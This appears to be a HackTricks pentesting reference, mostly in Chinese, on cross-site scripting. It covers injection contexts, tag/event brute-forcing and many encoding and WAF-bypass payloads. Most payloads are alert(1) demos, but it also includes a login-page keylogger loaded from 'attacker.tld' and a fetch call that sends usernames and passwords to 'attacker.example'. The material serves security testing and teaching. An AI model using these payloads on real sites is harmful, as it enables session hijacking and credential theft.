XSS (Cross Site Scripting)

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

方法论

  1. 检查是否有 任何你可控的值 (parameters, path, headers?, cookies?) 被 反射 在 HTML 中或被 JS 代码 使用
  2. 找出上下文,即它被反射/使用的位置。
  3. 如果 reflected
  4. 检查 你可以使用哪些符号,并根据这些符号准备 payload:
  5. 原始 HTML 中:
  6. 你能创建新的 HTML 标签 吗?
  7. 你能使用支持 javascript: 协议的事件或属性 吗?
  8. 你能绕过保护措施 吗?
  9. 如果 HTML 内容被任意客户端 JS 引擎(AngularJS, VueJS, Mavo…)解释,你可以滥用一个 Client Side Template Injection
  10. 如果你不能创建执行 JS 代码的 HTML 标签,是否可以滥用一个 Dangling Markup - HTML scriptless injection
  11. HTML 标签内部
  12. 你能从属性中和标签中 跳出到原始 HTML 上下文 吗?
  13. 你能创建新的事件/属性来执行 JS 代码 吗?
  14. 你被困的属性是否支持 JS 执行?
  15. 你能绕过保护措施 吗?
  16. JavaScript 代码 内部:
  17. 你能逃出 <script> 标签 吗?
  18. 你能跳出字符串并执行不同的 JS 代码 吗?
  19. 你的输入是否在模板字面量 ```` 中?
  20. 你能绕过保护措施 吗?
  21. Javascript 函数执行
  22. 你可以指定要执行的函数名。例如:?callback=alert(1)
  23. 如果 used
  24. 你可以利用 DOM XSS,注意你的输入如何被控制以及你控制的输入是否被任何 sink 使用。

在处理复杂的 XSS 时,你可能会想了解:

Debugging Client Side JS

Reflected values

为了成功利用 XSS,首先需要找到一个 由你控制且被反射的值,它在网页中出现。

  • 中间反射(Intermediately reflected):如果你发现某个参数或甚至路径的值被反射在网页中,你可能可以利用 Reflected XSS
  • 存储并反射(Stored and reflected):如果你发现一个由你控制的值被服务器保存并在每次访问页面时反射出来,你可能可以利用 Stored XSS
  • 通过 JS 访问(Accessed via JS):如果你发现一个由你控制的值被 JS 访问,你可能可以利用 DOM XSS

Contexts

在尝试利用 XSS 时,首先要知道 你的输入被反射在哪里。根据不同的上下文,你将能够通过不同的方式执行任意 JS 代码。

Raw HTML

如果你的输入 被反射在原始 HTML 页面中,你需要滥用一些 HTML 标签 来执行 JS 代码:<img , <iframe , <svg , <script … 这些只是你可以使用的众多 HTML 标签中的一部分。
另外,请记住 Client Side Template Injection

Inside HTML tags attribute

如果你的输入被反射在某个标签的属性值中,你可以尝试:

  1. 跳出属性和标签到原始 HTML(然后你将处于 raw HTML 上下文)并创建新的 HTML 标签以便滥用:"><img [...]
  2. 如果你 能跳出属性但不能跳出标签> 被编码或删除),根据标签类型你可以 创建一个事件 来执行 JS 代码:" autofocus onfocus=alert(1) x="
  3. 如果你 无法跳出属性" 被编码或删除),那么取决于 你的值被反射在哪个属性 以及 你控制的是整个值还是仅部分,你将能够利用它。例如,如果你控制的是像 onclick= 这样的事件属性,你就可以让它在被点击时执行任意代码。另一个有趣的例子是 href 属性,你可以使用 javascript: 协议来执行任意代码:href="javascript:alert(1)"
  4. 如果你的输入被反射在“无法利用的标签”内,你可以尝试使用 accesskey 技巧来滥用漏洞(你需要某种社会工程来利用它):" accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

一个企业 SSO 登录页面将 OAuth 的 service 参数反射到 <a id="forgot_btn" ...>href 属性中。即便 <> 被 HTML 编码,双引号没有被编码,因此攻击者可以关闭属性并重用同一元素注入处理程序,例如 " onfocus="payload" x="

  1. 注入处理程序:像 onclick="print(1)" 这样的简单 payload 被阻止,但 WAF 只检查内联属性中的第一条 JavaScript 语句。在前面加上用括号包裹的无害表达式,然后分号,就允许真实 payload 执行:onfocus="(history.length);malicious_code_here"
  2. 自动触发:浏览器会聚焦任何其 id 与片段匹配的元素,因此在利用 URL 后面追加 #forgot_btn 可以在页面加载时强制锚点获得焦点并在不需要点击的情况下运行处理程序。
  3. 保持内联存根很小:目标站点已经引入了 jQuery。处理程序只需通过 $.getScript(...) 启动请求,而完整的 keylogger 存放在攻击者的服务器上。

Building strings without quotes

单引号以 URL 编码返回且转义的双引号会损坏属性,所以 payload 用 String.fromCharCode 生成每个字符串。一个辅助函数可以在将任意 URL 粘贴到属性之前,轻松地把它转换成字符代码:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

生成的属性看起来像:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

为什么这会窃取凭证

外部脚本(从攻击者控制的主机或 Burp Collaborator 加载)hooked document.onkeypress,缓冲键击,并每秒发送 new Image().src = collaborator_url + keys。因为 XSS 只在未认证用户上触发,敏感操作就是登录表单本身——攻击者 keylogs 用户名和密码,即使受害者从未按下 “Login”。

Angular 在你控制类名时执行 XSS 的奇怪示例:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

在 JavaScript 代码中

在这种情况下,你的输入会被反射到 HTML 页面中的 <script> [...] </script> 标签之间、.js 文件中,或使用 javascript: 协议的属性内:

  • 如果被反射到 <script> [...] </script> 标签之间,即使你的输入位于任何类型的引号内,你也可以尝试注入 </script> 并从该上下文中跳出。之所以可行,是因为 浏览器会先解析 HTML 标签 然后再解析内容,因此它不会注意到你注入的 </script> 标签是在 HTML 代码内部。
  • 如果被反射在 inside a JS string 中,且上一个技巧不起作用,你需要退出该字符串、执行你的代码并重建JS 代码(如果有任何错误,它将不会被执行:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • 如果被反射在 template literals 中,你可以使用 ${ ... } 语法嵌入 JS 表达式var greetings = `Hello, ${alert(1)}`
  • Unicode encode 可以用来写 valid javascript code
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting 指的是可以在使用后再声明函数、变量或类,从而在 XSS 使用未声明的变量或函数的场景中进行滥用的机会。**
更多信息请查看以下页面:

JS Hoisting

Javascript Function

一些网页的 endpoint 会以参数形式接受要执行的函数名。在实际中常见的例子类似:?callback=callbackFunc

检查用户直接提供的内容是否被执行的一个好方法是修改该参数的值(例如改为 ‘Vulnerable’)并在控制台观察是否出现类似错误:

如果存在漏洞,你可能只需发送该值就能触发 alert?callback=alert(1)。不过,这类 endpoint 很常见会验证内容,只允许字母、数字、点和下划线([\w\._])。

但即便有该限制,仍然可以执行某些操作。因为你可以用这些合法字符访问 DOM 中的任意元素

一些有用的函数:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

你也可以尝试直接 trigger Javascript functions: obj.sales.delOrders

不过,通常执行该函数的 endpoint 的 DOM 并不太有趣,同一 origin 的其他页面 会有更有趣的 DOM 以执行更多操作。

因此,为了在不同的 DOM 中滥用此漏洞,开发了 Same Origin Method Execution (SOME) 利用方法:

SOME - Same Origin Method Execution

DOM

存在一些 JS code 使用不安全的、由攻击者控制的数据(例如 location.href)。攻击者可以滥用此点来执行任意 JS 代码。

DOM XSS

Universal XSS

这类 XSS 可以在 任何地方 被发现。它们不仅依赖于对 web 应用的客户端利用,而是依赖于任何****上下文。这类任意 JavaScript 执行甚至可被滥用以获得 RCE、读取客户端和服务器上的任意文件,以及更多用途。
一些 示例

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

当你的输入被反射到HTML 页面内部或你可以在该上下文中转义并注入 HTML 代码时,第一件要做的事是检查是否可以滥用 < 来创建新标签:尝试反射该字符并检查它是否被 HTML encoded、被删除,或是否原样反射只有在最后一种情况你才能利用它
对于这类情况,也请记住 Client Side Template Injection
注意:HTML 注释可以通过 -->--!> 关闭

在这种情况下,如果没有使用黑/白名单过滤,你可以使用如下 payloads:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

但是,如果标签/属性的黑/白名单被使用,你将需要 暴力枚举哪些标签 可以创建。
一旦你 定位出哪些标签被允许,你需要在找到的有效标签内 暴力枚举属性/事件,以查看如何攻击该上下文。

标签/事件 暴力枚举

访问 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet 并点击 Copy tags to clipboard。然后,使用 Burp intruder 发送所有标签,并检查是否有标签未被 WAF 识别为恶意。一旦发现可以使用的标签,就可以使用这些有效标签 暴力枚举所有事件(在同一页面点击 Copy events to clipboard 并按之前相同的步骤操作)。

自定义标签

如果你没有找到任何有效的 HTML 标签,可以尝试 创建自定义标签,并使用 onfocus 属性执行 JS 代码。在 XSS 请求中,需要在 URL 末尾加上 #,以使页面 聚焦到该对象执行 代码:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

如果使用了某种 blacklist,你可以尝试用一些小技巧来 bypass 它:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

长度绕过 (小型 XSSs)

[!NOTE] > 更多适用于不同环境的 tiny XSS payload can be found herehere.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

最后一个使用了 2 个 Unicode 字符,会展开为 5 个:telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

如果为了利用该漏洞你需要 user to click a link or a form 并带有预填数据,你可以尝试 abuse Clickjacking(如果页面易受攻击)。

Impossible - Dangling Markup

如果你认为 it’s impossible to create an HTML tag with an attribute to execute JS code,你应该查看 Danglig Markup 因为你可以 exploit 该漏洞 without 执行 JS 代码。

Injecting inside HTML tag

Inside the tag/escaping from attribute value

如果你处于 inside a HTML tag,首先可以尝试 escape 出该 tag,并使用 previous section 中提到的一些技术来执行 JS 代码。
如果你 cannot escape from the tag,你可以在标签内创建新的 attributes 来尝试执行 JS 代码,例如使用类似的 payload(note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

样式事件

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Within the attribute

即使你 无法从属性中跳出 (" 被编码或删除),取决于 哪个属性 你的值被反射到以及 你是控制整个值还是只有一部分,你仍然可以滥用它。对于 例如,如果你控制一个像 onclick= 的事件,你就能让它在被点击时执行任意代码。
另一个有趣的 例如 是属性 href,你可以使用 javascript: 协议执行任意代码:href="javascript:alert(1)"

在事件内使用 HTML 编码/URL encode 绕过

HTML encoded characters 在 HTML 标签属性的值内会在 在运行时解码。因此像下面这样的内容将是有效的(payload 用粗体标出): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

注意 任何种类的 HTML encode 都有效:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

注意:URL encode 也有效:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

在 event 内部使用 Unicode encode 绕过

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内的特殊协议

在那里你可以在某些位置使用协议 javascript:data:执行任意 JS 代码。有些需要用户交互,有些则不需要。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

你可以注入这些协议的地方

一般来说 javascript: 协议可以 在任何接受属性 href 的标签中使用,并且在 大多数 接受 属性 src 的标签中也能使用(但不包括 <img>

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

其他混淆技巧

在这种情况下,前一节中的 HTML encoding 和 Unicode encoding 技巧在属性内部也同样有效。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

另外,对于这些情况还有一个不错的技巧

即使你在 javascript:... 内的输入被 URL 编码,它在执行前也会被 URL 解码。

因此,如果你需要转义一个字符串并使用单引号,而且你看到它正在被 URL 编码,记住这无关紧要,它在执行时会被解释单引号

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意,如果你尝试同时使用 URLencode + HTMLencode 以任意顺序对 payload 进行编码,它 不会 起作用,但你可以在 payload 内部混合使用它们

javascript: 一起使用 Hex 和 Octal encode

你可以在 iframesrc 属性(至少)内部使用 HexOctal encode 来声明 HTML tags to execute JS

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

如果你能在任意包含 target="_blank" and rel="opener" 属性的 <a href= 标签中注入任意 URL,请查看 以下页面以利用此行为

Reverse Tab Nabbing

on 事件处理程序绕过

首先查看此页面(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)以获取有用的 “on” 事件处理程序
如果存在某些黑名单阻止你创建这些事件处理程序,你可以尝试以下绕过方法:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

来自 here 现在可以通过以下方式滥用 hidden inputs:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

并且在 meta 标签 中:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

From here:只要你能说服****受害者按下组合键,就可以在在 hidden 属性中执行 XSS payload。在 Firefox Windows/Linux 上组合键为 ALT+SHIFT+X,在 OS X 上为 CTRL+ALT+X。你可以通过在 access key attribute 中使用不同的键来指定不同的组合键。向量如下:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload 会像这样: " accesskey="x" onclick="alert(1)" x="

黑名单绕过

本节已经展示了几种使用不同编码的技巧。回到上文学习你可以在哪里使用:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

阅读上节的 Blacklist Bypasses

Bypasses for JavaScript code

阅读下一节的 JavaScript bypass blacklist

CSS-Gadgets

如果你在网页的非常小的一部分发现了一个 XSS,并且它需要某种交互(比如页脚中带有 onmouseover 的小链接),你可以尝试修改该元素占据的空间以最大化链接被触发的可能性。

例如,你可以在元素中添加如下样式: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

但是,如果 WAF 在过滤 style 属性,你可以使用 CSS Styling Gadgets,例如如果你发现

.test {display:block; color: blue; width: 100%}

以及

#someid {top: 0; font-family: Tahoma;}

现在你可以修改我们的链接,使其变成如下形式

<a href=“” id=someid class=test onclick=alert() a=“”>

这个技巧来自于 https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

在这种情况下,你的 input 将被反射到 .js 文件的 JS 代码中,或位于 <script>...</script> 标签之间,或位于可以执行 JS 的 HTML 事件中,或位于接受 javascript: 协议的属性中。

Escaping <script> tag

如果你的代码被插入到 <script> [...] var input = 'reflected data' [...] </script> 中,你可以很容易地通过关闭 <script> 标签来进行逃逸

</script><img src=1 onerror=alert(document.domain)>

Note that in this example we haven’t even closed the single quote. This is because HTML parsing is performed first by the browser, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.

在 JS 代码内部

如果 <> 被过滤,你仍然可以转义字符串(在你的输入所在位置)并执行任意 JS。重要的是要修复 JS 语法,因为如果有任何错误,JS 代码将不会被执行:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

当用户输入落在被引号包围的 JavaScript 字符串内部(例如,服务端回显到内联脚本中)时,你可以终止字符串、注入代码,并修复语法以保持解析有效。通用骨架:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

当易受攻击的参数被反射到 JS 字符串中时的示例 URL 模式:

?param=test";<INJECTION>;a="

这会在不接触 HTML 上下文的情况下执行 attacker JS(纯 JS-in-JS)。当过滤器屏蔽关键字时,可与下面的 blacklist bypasses 结合使用。

Template literals ``

除了单引号和双引号之外,为了构造 strings,JS 还接受 backticks ``。这被称为 template literals,因为它们允许使用 ${ ... } 语法来嵌入 JS 表达式
因此,如果你发现你的输入被reflected在使用 backticks 的 JS 字符串内,你可以滥用 ${ ... } 语法来执行任意 JS 代码

This can be abused using:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

编码的 code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads with eval(atob()) and scope nuances

为了让 URLs 更短并绕过简单的关键字过滤,你可以将真实逻辑进行 base64 编码并使用 eval(atob('...')) 来执行。如果简单的关键字过滤会阻止像 alertevalatob 这样的标识符,可以使用 Unicode 转义的标识符,这些标识符在浏览器中编译后与原始标识符完全相同,但能躲过字符串匹配过滤:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

重要的作用域细节:在 eval() 内声明的 const/let 是块级作用域的,并且不会创建全局变量;它们无法被后续脚本访问。需要全局且不可重新绑定的钩子(例如,用于劫持表单处理器)时,应使用动态注入的 <script> 元素来定义:

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

参考: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode 编码 JS 执行

alert(1)
alert(1)
alert(1)

JavaScript 绕过黑名单的技术

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特殊转义

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

JS 代码中的空格替换

<TAB>
/**/

JavaScript comments (来自 JavaScript Comments 技巧)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (来自 JavaScript new line 技巧)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript 空白字符

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript 在注释中

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript 不使用括号

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意函数(alert)调用

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
